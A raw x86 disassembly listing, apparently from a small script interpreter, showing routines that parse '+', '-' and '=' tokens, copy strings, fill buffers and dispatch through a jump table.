test dl, dl
jne 0x409d50
sub ecx, edi
sub ecx, eax
mov dword [0x41b3ec], ecx
jns 0x409d6b
xor ecx, ecx
mov dword [0x41b3ec], ecx
add esi, ecx
mov ecx, dword [0x41a76c]
cmp ecx, eax
mov dword [0x41ace8], esi
jge 0x409d84
mov eax, ecx
mov dword [0x41a98c], eax
mov edx, dword [0x41a750]
xor edi, edi
test eax, eax
jle 0x409db1
mov cl, byte [esi]
inc esi
mov byte [edx], cl
inc edx
test cl, cl
mov byte [0x41a7f8], cl
je 0x409da5
inc edi
cmp edi, eax
jl 0x409d90
mov dword [0x41a750], edx
mov dword [0x41ace8], esi
pop edi
pop esi
pop ebp
mov byte [edx], 0
xor eax, eax
pop ebx
add esp, 8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
mov ecx, dword [0x41acdc]
mov word [ecx], 4
mov dword [0x41a9a4], eax
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
mov edx, dword [0x41acdc]
cmp word [edx], 2
jne 0x40a5a6
call fcn.00408c90
mov ecx, dword [0x41a7d4]
mov edx, dword [0x41b390]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x409e13
push 0
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41b3ec], eax
jne 0x40a66f
mov ecx, dword [0x41a760]
mov edx, dword [0x41a7d4]
lea esi, [ecx + eax]
push edx
push esi
call fcn.0040e290
add esp, 8
test eax, eax
jne 0x409e6c
mov eax, dword [0x41a9a4]
pop edi
pop esi
pop ebp
mov dword [eax], 0xffffffff
xor eax, eax
pop ebx
add esp, 8
ret
mov ecx, dword [0x41a9a4]
pop edi
sub eax, esi
pop esi
pop ebp
mov dword [ecx], eax
xor eax, eax
pop ebx
add esp, 8
ret
call fcn.00408ba0
test eax, eax
mov dword [0x41b2f4], eax
jne 0x40a6aa
mov esi, dword [0x41accc]
shl esi, 4
add esi, 0x41a888
call fcn.00408810
mov eax, dword [esi + 4]
inc eax
push eax
mov dword [0x41a98c], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41b3ec], eax
jne 0x40a66f
mov edx, dword [0x41acc0]
dec eax
pop edi
mov dword [esi + 4], eax
pop esi
pop ebp
mov dword [0x41a7a0], edx
mov dword [0x41b388], 0x12
mov dword [0x41a79c], 8
mov dword [0x41aab8], ecx
xor eax, eax
pop ebx
add esp, 8
ret
mov dword [esp + 0x10], 4
mov dword [esp + 0x14], 0x7d00
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
mov eax, dword [0x41acdc]
push 0
mov dword [0x41a990], eax
call fcn.00408bf0
mov dword [0x41b3ec], eax
mov eax, dword [0x41a75c]
add esp, 4
test eax, eax
jne 0x40a6aa
mov ecx, dword [0x41a990]
push ecx
call fcn.00407fd0
mov eax, dword [0x41b3ec]
add esp, 4
cmp eax, 0x40
jge 0x409ffe
test al, 0x10
mov ecx, dword [0x41b38c]
je 0x409fce
mov edx, eax
and edx, 7
lea ecx, [ecx + ecx*2]
lea ecx, [edx + ecx*4]
shl ecx, 2
test al, 8
mov esi, dword [ecx + 0x41ad18]
je 0x409f8e
mov dword [esp + 0x10], 2
test al, 0x20
mov dx, word [esp + 0x10]
mov word [esi], dx
je 0x409fbc
mov edi, dword [0x41a990]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
mov eax, dword [0x41a990]
pop edi
pop esi
pop ebp
mov word [eax + 2], 1
xor eax, eax
pop ebx
add esp, 8
ret
mov eax, dword [ecx + 0x41acf0]
mov ecx, dword [esi + 8]
shl ecx, 2
mov dword [esp + 0x14], ecx
jmp 0x40a02e
test al, 0x20
je 0x409fec
and eax, 0xf
lea edx, [ecx + ecx*2]
lea eax, [eax + edx*4]
mov eax, dword [eax*4 + 0x41acf0]
mov dword [esp + 0x10], 2
jmp 0x40a02e
and eax, 0xf
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*4]
lea eax, [eax*4 + 0x41acf0]
jmp 0x40a02e
test ah, 4
je 0x40a01b
mov ecx, dword [0x41b38c]
and eax, 7
lea edx, [ecx + ecx*2]
lea eax, [eax + edx*4]
mov eax, dword [eax*4 + 0x41ad18]
jmp 0x40a02e
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x18]
push edx
push eax
call fcn.00404940
add esp, 0xc
mov ecx, dword [0x41a990]
mov word [ecx + 2], 1
mov edx, dword [0x41a990]
mov dword [edx + 0x1c], eax
mov eax, dword [0x41a990]
mov cx, word [esp + 0x10]
mov word [eax], cx
mov edx, dword [esp + 0x14]
mov eax, dword [0x41a990]
pop edi
sar edx, 2
mov dword [eax + 8], edx
mov ecx, dword [0x41a990]
pop esi
pop ebp
mov dword [ecx + 0xc], 0
xor eax, eax
pop ebx
add esp, 8
ret
push 0
call fcn.00408bf0
push 0xffffffffffffffff
mov dword [0x41b3ec], eax
call fcn.00408bf0
mov dword [0x41a98c], eax
mov eax, dword [0x41a75c]
add esp, 8
test eax, eax
je 0x40a69b
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
call fcn.00408c90
mov eax, dword [0x41a75c]
test eax, eax
je 0x40a69b
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
mov edx, dword [0x41acdc]
push edx
mov dword [esp + 0x18], eax
call fcn.00408000
add esp, 4
mov esi, eax
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
mov eax, dword [0x41acdc]
push eax
call fcn.00408000
push 0
mov ebx, eax
call fcn.00408bf0
push 0
mov dword [0x41b3ec], eax
call fcn.00408bf0
push 0
mov dword [0x41a98c], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 0x10
test ecx, ecx
mov dword [0x41a988], eax
jne 0x40a66f
mov ecx, dword [0x41a760]
mov edi, dword [0x41a98c]
lea edx, [eax + ecx]
mov ecx, dword [0x41b3ec]
lea ebp, [edi + ecx]
cmp ebp, esi
mov dword [0x41a778], edx
jg 0x40a37d
add eax, ecx
cmp eax, ebx
jg 0x40a37d
test ecx, ecx
jle 0x40a69b
push ecx
push edx
mov edx, dword [esp + 0x1c]
add edi, edx
push edi
call fcn.0040f620
add esp, 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
mov edi, eax
mov eax, dword [0x41acdc]
push eax
call fcn.00408000
push 0
mov esi, eax
call fcn.00408bf0
push 0
mov dword [0x41b3ec], eax
call fcn.00408bf0
push 0
mov dword [0x41a98c], eax
call fcn.00408bf0
mov edx, eax
mov eax, dword [0x41a75c]
add esp, 0x10
test eax, eax
mov dword [0x41a988], edx
jne 0x40a6aa
mov ecx, dword [0x41a98c]
lea eax, [edx + ecx]
cmp eax, esi
jg 0x40a37d
test ecx, ecx
jle 0x40a69b
mov al, byte [0x41b3ec]
mov bl, al
mov bh, bl
add edi, edx
mov edx, ecx
shr ecx, 2
mov eax, ebx
shl eax, 0x10
mov ax, bx
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
je 0x40a62a
mov ecx, dword [0x41acdc]
mov word [ecx], 2
mov edx, dword [0x41acdc]
mov esi, dword [edx + 0xc]
mov dword [0x41b2fc], ecx
xor ecx, ecx
test esi, esi
sete cl
pop edi
pop esi
pop ebp
mov dword [0x41a99c], eax
xor eax, eax
pop ebx
mov dword [0x41a784], ecx
add esp, 8
ret
mov eax, dword [0x41a99c]
test eax, eax
je 0x40a5a6
call fcn.00408c90
mov edx, dword [0x41b390]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
mov byte [edx], cl
inc edx
test cl, cl
jne 0x40a290
push 0xffffffffffffffff
call fcn.00408bf0
push 0
mov dword [0x41b3ec], eax
call fcn.00408bf0
mov dword [0x41a98c], eax
mov eax, dword [0x41a75c]
add esp, 8
test eax, eax
jne 0x40a6aa
mov ebx, dword [0x41a99c]
mov eax, ebx
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a2d0
sub eax, edx
mov edx, eax
mov eax, dword [0x41b390]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a2e3
sub eax, esi
lea esi, [eax + edx + 3]
mov eax, dword [0x41a784]
test eax, eax
mov dword [0x41a790], esi
je 0x40a36d
mov edi, dword [0x41b2fc]
push edi
call fcn.00408000
add esp, 4
cmp esi, eax
mov dword [0x41a988], eax
jl 0x40a341
lea eax, [esi + 0x7fff]
and eax, 0xffff8000
push 1
push eax
push edi
mov dword [0x41a790], eax
call fcn.00408040
mov eax, dword [0x41b2fc]
mov ebx, dword [eax + 0x1c]
add esp, 0xc
mov dword [0x41a99c], ebx
mov eax, dword [0x41a98c]
mov ecx, dword [0x41b3ec]
mov edx, dword [0x41b390]
push eax
push ecx
push edx
push ebx
call fcn.0040dff0
add esp, 0x10
pop edi
pop esi
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 8
ret
mov ecx, dword [0x41b2fc]
mov edx, dword [ecx + 8]
shl edx, 2
cmp esi, edx
jl 0x40a341
pop edi
pop esi
pop ebp
mov eax, 0x14
pop ebx
add esp, 8
ret
mov eax, dword [0x41a99c]
test eax, eax
je 0x40a5a6
call fcn.004082f0
test eax, eax
mov dword [0x41b3ec], eax
je 0x40a62a
push 2
call fcn.00407f10
push 0
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 8
test ecx, ecx
mov dword [0x41a98c], eax
jne 0x40a66f
mov ecx, dword [0x41a99c]
push eax
mov eax, dword [0x41b3ec]
push eax
push ecx
call fcn.0040df40
add esp, 0xc
pop edi
pop esi
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 8
ret
mov eax, dword [0x41a99c]
test eax, eax
je 0x40a5a6
call fcn.004082f0
test eax, eax
mov dword [0x41b3ec], eax
je 0x40a62a
cmp dword [0x41acc8], 4
je 0x40a427
pop edi
pop esi
pop ebp
mov eax, 6
pop ebx
add esp, 8
ret
mov eax, dword [0x41a75c]
test eax, eax
jne 0x40a6aa
mov edx, dword [0x41a99c]
push edx
call fcn.0040dfa0
mov ecx, dword [0x41b3ec]
add esp, 4
pop edi
pop esi
pop ebp
mov dword [ecx], eax
xor eax, eax
pop ebx
add esp, 8
ret
mov eax, dword [0x41a99c]
test eax, eax
je 0x40a5a6
push 0
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41b3ec], eax
jne 0x40a66f
mov edx, dword [0x41a99c]
push 1
push eax
push 0x415301
push edx
call fcn.0040dff0
add esp, 0x10
pop edi
pop esi
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 8
ret
mov eax, dword [0x41a99c]
test eax, eax
je 0x40a5a6
call fcn.00408c90
mov eax, dword [0x41a75c]
test eax, eax
jne 0x40a6aa
mov ecx, dword [0x41a7d4]
mov edx, dword [0x41b390]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x40a4d0
push 0xffffffffffffffff
call fcn.00408bf0
mov dword [0x41b3ec], eax
mov eax, dword [0x41a75c]
add esp, 4
test eax, eax
jne 0x40a6aa
mov eax, dword [0x41b390]
push eax
call fcn.00403c90
mov esi, eax
add esp, 4
test esi, esi
mov dword [0x41a790], esi
jl 0x40a60f
mov eax, dword [0x41b3ec]
test eax, eax
jl 0x40a529
cmp esi, eax
jl 0x40a529
mov esi, eax
mov dword [0x41a790], esi
mov eax, dword [0x41a784]
test eax, eax
je 0x40a56c
mov edi, dword [0x41b2fc]
push edi
call fcn.00408000
add esp, 4
cmp esi, eax
mov dword [0x41a98c], eax
jl 0x40a56c
push 0
inc esi
push esi
push edi
call fcn.00408040
mov ecx, dword [0x41b2fc]
mov edx, dword [ecx + 0x1c]
mov esi, dword [0x41a790]
add esp, 0xc
mov dword [0x41a99c], edx
mov eax, dword [0x41a99c]
mov ecx, dword [0x41b390]
push 0
push esi
push eax
push ecx
call fcn.00403b60
mov eax, dword [0x41a99c]
mov edx, dword [0x41a790]
add esp, 0x10
pop edi
pop esi
pop ebp
mov byte [eax + edx], 0
xor eax, eax
pop ebx
add esp, 8
ret
mov eax, dword [0x41a99c]
test eax, eax
jne 0x40a5b3
pop edi
pop esi
pop ebp
mov eax, 3
pop ebx
add esp, 8
ret
call fcn.00408c90
mov eax, dword [0x41a75c]
test eax, eax
jne 0x40a6aa
mov ecx, dword [0x41a7d4]
mov edx, dword [0x41b390]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x40a5d1
mov edx, dword [0x41a99c]
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a5e6
mov ecx, dword [0x41b390]
push 0xffffffffffffffff
sub eax, esi
push eax
push edx
push ecx
call fcn.0040e1b0
add esp, 0x10
test eax, eax
mov dword [0x41a790], eax
jge 0x40a69b
pop edi
pop esi
pop ebp
mov eax, 0xc
pop ebx
add esp, 8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a760], eax
jne 0x40a637
pop edi
pop esi
pop ebp
mov eax, 0x100
pop ebx
add esp, 8
ret
mov edx, dword [0x41acdc]
push edx
mov esi, eax
call fcn.00408000
push 0
mov dword [0x41a988], eax
call fcn.00408bf0
push 0
mov dword [0x41b3ec], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 0xc
test ecx, ecx
mov dword [0x41a98c], eax
je 0x40a679
pop edi
pop esi
pop ebp
mov eax, ecx
pop ebx
add esp, 8
ret
test eax, eax
mov ecx, dword [0x41b3ec]
jne 0x40a68f
mov eax, dword [0x41a988]
sub eax, ecx
mov dword [0x41a98c], eax
push eax
add ecx, esi
push ecx
call fcn.00403a20
add esp, 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
push esi
call fcn.004082f0
mov esi, eax
test esi, esi
mov dword [0x41a760], esi
jne 0x40a7b9
mov eax, 0x100
pop esi
ret
mov eax, dword [0x41acdc]
mov dword [0x41a990], eax
mov eax, dword [0x41a79c]
test eax, eax
je 0x40a7d3
mov eax, 2
pop esi
ret
mov eax, dword [0x41b388]
cmp eax, 0x2b
push edi
jne 0x40a88d
call fcn.004080f0
mov eax, dword [0x41a79c]
test eax, eax
jne 0x40a7ff
mov eax, dword [0x41b388]
cmp eax, 0x3d
jne 0x40a82c
call fcn.004080f0
mov dword [0x41acd0], 0
call fcn.00408840
test eax, eax
mov dword [0x41b2f4], eax
jne 0x40a829
mov eax, dword [0x41a788]
test eax, eax
jne 0x40a83d
mov eax, dword [0x41a760]
inc dword [eax]
xor eax, eax
pop edi
pop esi
ret
cmp eax, 0x2b
jne 0x40a7ff
inc dword [esi]
call fcn.004080f0
pop edi
xor eax, eax
pop esi
ret
cmp eax, 1
jne 0x40a858
mov eax, dword [0x41a760]
mov edx, dword [eax]
mov ecx, dword [0x41b4f8]
add edx, ecx
pop edi
mov dword [eax], edx
xor eax, eax
pop esi
ret
mov eax, dword [0x41a7d4]
mov edx, eax
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a860
mov edi, dword [0x41a760]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x40a870
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
xor eax, eax
pop esi
ret
cmp eax, 0x2d
jne 0x40a903
call fcn.004080f0
mov eax, dword [0x41a79c]
test eax, eax
jne 0x40a8af
mov eax, dword [0x41b388]
cmp eax, 0x3d
jne 0x40a8e3
call fcn.004080f0
mov dword [0x41acd0], 0
call fcn.00408840
test eax, eax
mov dword [0x41b2f4], eax
jne 0x40a829
mov eax, dword [0x41a788]
test eax, eax
mov eax, dword [0x41a760]
mov ecx, dword [eax]
jne 0x40a8f4
dec ecx
pop edi
mov dword [eax], ecx
xor eax, eax
pop esi
ret
cmp eax, 0x2d
jne 0x40a8af
dec dword [esi]
call fcn.004080f0
pop edi
xor eax, eax
pop esi
ret
mov edx, dword [0x41b4f8]
sub ecx, edx
pop edi
mov dword [eax], ecx
xor eax, eax
pop esi
ret
cmp eax, 0x3d
je 0x40a910
pop edi
mov eax, 2
pop esi
ret
call fcn.004080f0
mov dword [0x41acd0], 0
call fcn.00408840
test eax, eax
mov dword [0x41b2f4], eax
jne 0x40a829
cmp dword [0x41a788], 1
mov eax, dword [0x41a990]
jne 0x40a960
mov ecx, dword [0x41a760]
mov word [eax], 4
mov edx, dword [0x41b4f8]
mov dword [ecx], edx
cmp dword [0x41acd0], 0xffffffff
jne 0x40a988
pop edi
xor eax, eax
pop esi
ret
mov edx, dword [0x41a760]
mov word [eax], 2
mov ecx, dword [0x41a7d4]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x40a971
cmp dword [0x41acd0], 0xffffffff
je 0x40a827
mov eax, dword [0x41a990]
movsx edi, word [eax]
cmp edi, 2
mov esi, 4
jne 0x40a9a2
mov esi, dword [eax + 8]
shl esi, 2
jmp 0x40a9a7
mov edi, 1
call fcn.00408840
test eax, eax
mov dword [0x41b2f4], eax
jne 0x40a9f9
mov eax, dword [0x41a788]
cmp eax, edi
jne 0x40aa07
mov edx, dword [0x41a760]
add edx, esi
cmp eax, 1
mov dword [0x41a760], edx
jne 0x40a9db
mov ecx, dword [0x41b4f8]
mov dword [edx], ecx
jmp 0x40a9eb
mov ecx, dword [0x41a7d4]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x40a9e1
call fcn.00408840
test eax, eax
mov dword [0x41b2f4], eax
je 0x40a9b5
xor edx, edx
cmp eax, 0xffffffff
sete dl
pop edi
pop esi
dec edx
and eax, edx
ret
pop edi
mov eax, 6
pop esi
ret
push esi
mov esi, dword [0x41b388]
push edi
mov dword [0x41a7f0], esi
call fcn.00408810
mov edx, dword [0x41a768]
lea edi, [esi - 0x10]
shl edi, 4
add edi, edx
xor eax, eax
mov al, byte [edi + 4]
and eax, 0xf
jne 0x40b0bc
push 0
call fcn.00408bf0
add esp, 4
mov dword [0x41b3ec], eax
jmp 0x40b106
cmp eax, 1
jne 0x40b0e8
call fcn.004082f0
test eax, eax
mov dword [0x41b3ec], eax
je 0x40b132
mov eax, dword [0x41b38c]
mov ecx, dword [0x41acdc]
lea eax, [eax + eax*2]
shl eax, 4
mov dword [eax + 0x41ad48], ecx
jmp 0x40b106
call fcn.00408c90
mov edx, 0x41aac0
mov cl, byte [eax]
inc eax
mov byte [edx], cl
inc edx
test cl, cl
jne 0x40b0f2
mov dword [0x41b3ec], 0x41aac0
xor eax, eax
mov al, byte [edi + 4]
sar eax, 4
and eax, 0xf
jne 0x40b11f
push 0
call fcn.00408bf0
add esp, 4
jmp 0x40b16f
cmp eax, 1
jne 0x40b154
call fcn.004082f0
test eax, eax
mov dword [0x41a98c], eax
jne 0x40b13a
pop edi
mov eax, 0x100
pop esi
ret
mov ecx, dword [0x41b38c]
mov esi, dword [0x41acdc]
lea edx, [ecx + ecx*2]
shl edx, 4
mov dword [edx + 0x41ad4c], esi
jmp 0x40b17a
call fcn.00408c90
mov edx, 0x41a9b0
mov edi, edi
mov cl, byte [eax]
inc eax
mov byte [edx], cl
inc edx
test cl, cl
jne 0x40b160
mov eax, 0x41a9b0
mov ecx, dword [0x41b38c]
mov dword [0x41a98c], eax
cmp ecx, 0x20
jl 0x40b187
pop edi
mov eax, 9
pop esi
ret
mov esi, dword [0x41b3ec]
inc ecx
lea edx, [ecx + ecx*2]
shl edx, 4
mov dword [edx + 0x41acf0], esi
mov dword [edx + 0x41acf4], eax
mov eax, dword [0x41a75c]
test eax, eax
mov dword [0x41b38c], ecx
jne 0x40b230
mov esi, 2
cmp word [edi + 6], si
jle 0x40b204
mov edi, edi
call fcn.00408840
test eax, eax
mov dword [0x41b2f4], eax
jg 0x40b230
mov eax, dword [0x41a788]
test eax, eax
jne 0x40b1de
mov dword [0x41b4f8], eax
jmp 0x40b1e3
cmp eax, 1
jne 0x40b22b
mov ecx, dword [0x41b38c]
lea eax, [ecx + ecx*2]
lea edx, [esi + eax*4]
mov eax, dword [0x41b4f8]
mov dword [edx*4 + 0x41acf0], eax
movsx edx, word [edi + 6]
inc esi
cmp esi, edx
jl 0x40b1c0
mov eax, dword [0x41aab4]
mov edx, dword [0x41a998]
mov dword [ecx*4 + 0x41a7fc], eax
mov ecx, dword [edi + 0xc]
lea eax, [edx + ecx*2]
mov dword [0x41a7a0], eax
call fcn.004080f0
pop edi
xor eax, eax
pop esi
ret
mov eax, 6
pop edi
pop esi
ret
mov eax, dword [0x41a79c]
add eax, 0xfffffffc
cmp eax, 0xb
ja case.0x40b2ed.5
jmp dword [eax*4 + 0x40b338]
jmp 0x40a7a0
call fcn.00408810
mov eax, 0x12
ret
jmp 0x408e90
jmp 0x4049b0
jmp 0x407820
jmp 0x408df0
jmp 0x40b080
mov dword [0x41a78c], 0xffffffff
xor eax, eax
ret
call fcn.00408810
mov eax, 1
ret